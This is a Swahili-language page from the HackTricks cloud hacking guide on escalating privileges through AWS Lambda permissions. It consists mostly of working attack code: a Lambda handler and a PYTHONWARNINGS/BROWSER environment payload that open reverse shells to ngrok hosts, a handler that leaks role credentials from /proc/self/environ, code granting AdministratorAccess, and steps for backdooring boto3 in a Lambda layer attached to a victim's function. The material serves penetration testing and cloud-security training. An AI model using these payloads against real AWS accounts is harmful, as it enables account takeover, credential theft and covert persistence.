AWS - Lambda Privesc

Reading time: 11 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

lambda

Maelezo zaidi kuhusu lambda katika:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Watumiaji wenye ruhusa iam:PassRole, lambda:CreateFunction, na lambda:InvokeFunction wanaweza kuongeza mamlaka yao.
Wanaweza kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo, wakitoa kazi hiyo ruhusa zinazohusiana na jukumu hilo. Mtumiaji anaweza kisha kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell).
Mara kazi hiyo inapowekwa, mtumiaji anaweza kuanzisha utekelezaji wake na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, ikifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\

Mshambuliaji anaweza kutumia hii kupata rev shell na kuiba token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Unaweza pia kutumia vibaya ruhusa za jukumu la lambda kutoka kwa kazi ya lambda yenyewe.
Ikiwa jukumu la lambda lilikuwa na ruhusa za kutosha unaweza kulitumika kukupa haki za admin:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Inawezekana pia kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa Network isolated Lambdas zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda.

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa.

caution

Kumbuka kwamba hata kama inaweza kuonekana kuvutia lambda:InvokeAsync haikubali kwa peke yake kutekeleza aws lambda invoke-async, unahitaji pia lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Kama katika hali ya awali, unaweza kujipe ruhusa ya lambda:InvokeFunction ikiwa una ruhusa lambda:AddPermission

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Watumiaji wenye ruhusa iam:PassRole, lambda:CreateFunction, na lambda:CreateEventSourceMapping (na labda dynamodb:PutItem na dynamodb:CreateTable) wanaweza kwa njia isiyo ya moja kwa moja kuinua mamlaka hata bila lambda:InvokeFunction.
Wanaweza kuunda kazi ya Lambda yenye msimbo mbaya na kuipatia jukumu la IAM lililopo.

Badala ya kuitisha moja kwa moja Lambda, mtumiaji anajiandaa au anatumia meza ya DynamoDB iliyopo, akiunganisha nayo Lambda kupitia ramani ya chanzo cha tukio. Mpangilio huu unahakikisha kazi ya Lambda inachochewa kiotomatiki wakati kipengele kipya kinapoingia kwenye meza, ama kwa kitendo cha mtumiaji au mchakato mwingine, hivyo basi kuitisha kazi ya Lambda kwa njia isiyo ya moja kwa moja na kutekeleza msimbo kwa ruhusa za jukumu la IAM lililopitishwa.

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Ikiwa DynamoDB tayari ina shughuli katika mazingira ya AWS, mtumiaji tu anahitaji kuanzisha ramani ya chanzo cha tukio kwa kazi ya Lambda. Hata hivyo, ikiwa DynamoDB haitumiki, mtumiaji lazima aweze kuunda meza mpya yenye utiririshaji ulioanzishwa:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Sasa inawezekana kuunganisha kazi ya Lambda na jedwali la DynamoDB kwa kuunda ramani ya chanzo cha tukio:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Na kazi ya Lambda iliyounganishwa na mtiririko wa DynamoDB, mshambuliaji anaweza kuchochea Lambda kwa njia isiyo ya moja kwa moja kwa kuamsha mtiririko wa DynamoDB. Hii inaweza kufanywa kwa kuingiza kipengee kwenye jedwali la DynamoDB:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotajwa.

lambda:AddPermission

Mshambuliaji mwenye ruhusa hii anaweza kujipe (au wengine) ruhusa zozote (hii inazalisha sera za msingi wa rasilimali kutoa ufikiaji wa rasilimali):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Madhara Yanayoweza Kutokea: Privesc ya moja kwa moja kwa jukumu la huduma ya lambda inayotumika kwa kutoa ruhusa ya kubadilisha msimbo na kuutekeleza.

lambda:AddLayerVersionPermission

Mshambuliaji mwenye ruhusa hii anaweza kujipe mwenyewe (au wengine) ruhusa lambda:GetLayerVersion. Anaweza kufikia safu na kutafuta udhaifu au taarifa nyeti.

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Madhara Yanayoweza Kutokea: Upatikanaji wa taarifa nyeti.

lambda:UpdateFunctionCode

Watumiaji wanaoshikilia ruhusa ya lambda:UpdateFunctionCode wana uwezo wa kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM.
Mshambuliaji anaweza kubadilisha msimbo wa lambda ili kuhamasisha akreditivu za IAM.

Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja kuanzisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano kwamba itasababishwa kupitia michakato au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa.

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotumika.

lambda:UpdateFunctionConfiguration

RCE kupitia mabadiliko ya mazingira

Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea Lambda kutekeleza msimbo usio na mpangilio. Kwa mfano, katika python inawezekana kutumia mabadiliko ya mazingira PYTHONWARNING na BROWSER kufanya mchakato wa python kutekeleza amri zisizo na mpangilio:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Kwa lugha nyingine za skripti kuna mabadiliko mengine ya mazingira unayoweza kutumia. Kwa maelezo zaidi angalia sehemu ndogo za lugha za skripti katika:

macOS Process Abuse - HackTricks

RCE kupitia Lambda Layers

Lambda Layers inaruhusu kujumuisha code katika kazi yako ya lamdba lakini kuhifadhi kwa tofauti, hivyo msimbo wa kazi unaweza kubaki mdogo na kazi kadhaa zinaweza kushiriki msimbo.

Ndani ya lambda unaweza kuangalia njia ambazo msimbo wa python unaloadiwa kwa kutumia kazi kama ifuatavyo:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Hizi ndizo sehemu:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Kwa mfano, maktaba boto3 inapakuliwa kutoka /var/runtime/boto3 (nafasi ya 4).

Ukatili

Inawezekana kutumia ruhusa lambda:UpdateFunctionConfiguration ili kuongeza safu mpya kwenye kazi ya lambda. Ili kutekeleza msimbo wowote, safu hii inahitaji kuwa na maktaba ambayo lambda itakuwa inaiagiza. Ikiwa unaweza kusoma msimbo wa lambda, unaweza kuipata hii kwa urahisi, pia kumbuka kwamba inaweza kuwa inawezekana kwamba lambda tayari inatumia safu na unaweza kupakua safu hiyo na kuongeza msimbo wako humo.

Kwa mfano, hebu tuwe na dhana kwamba lambda inatumia maktaba boto3, hii itaunda safu ya ndani na toleo la mwisho la maktaba:

bash
pip3 install -t ./lambda_layer boto3

Unaweza kufungua ./lambda_layer/boto3/__init__.py na kuongeza backdoor katika msimbo wa kimataifa (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano).

Kisha, zipa hiyo ./lambda_layer directory na pakia layer mpya ya lambda katika akaunti yako (au katika ya waathirika, lakini huenda usiwe na ruhusa kwa hili).
Kumbuka kwamba unahitaji kuunda folda ya python na kuweka maktaba ndani yake ili kubadilisha /opt/python/boto3. Pia, layer inahitaji kuwa inasadifu na toleo la python linalotumika na lambda na ikiwa unaiweka kwenye akaunti yako, inahitaji kuwa katika eneo lile lile:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Sasa, fanya tabaka la lambda lililo pandishwa liweze kufikiwa na akaunti yoyote:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Na uambatishe tabaka la lambda kwenye kazi ya lambda ya mwathirika:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Hatua inayofuata itakuwa kuitisha kazi sisi wenyewe ikiwa tunaweza au kusubiri hadi itakapotishwa kwa njia za kawaida - ambayo ni njia salama zaidi.

Njia ya siri zaidi ya kutumia udhaifu huu inaweza kupatikana katika:

AWS - Lambda Layers Persistence

Athari Zinazoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda inayotumika.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Labda kwa ruhusa hizo unaweza kuunda kazi na kuitekeleza kwa kuita URL... lakini sikuweza kupata njia ya kuijaribu, hivyo nijulishe ikiwa utaweza!

Lambda MitM

Baadhi ya lambdas zitakuwa zinapokea taarifa nyeti kutoka kwa watumiaji katika vigezo. Ikiwa unapata RCE katika moja yao, unaweza kuhamasisha taarifa ambazo watumiaji wengine wanazituma, angalia katika:

AWS - Steal Lambda Requests

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks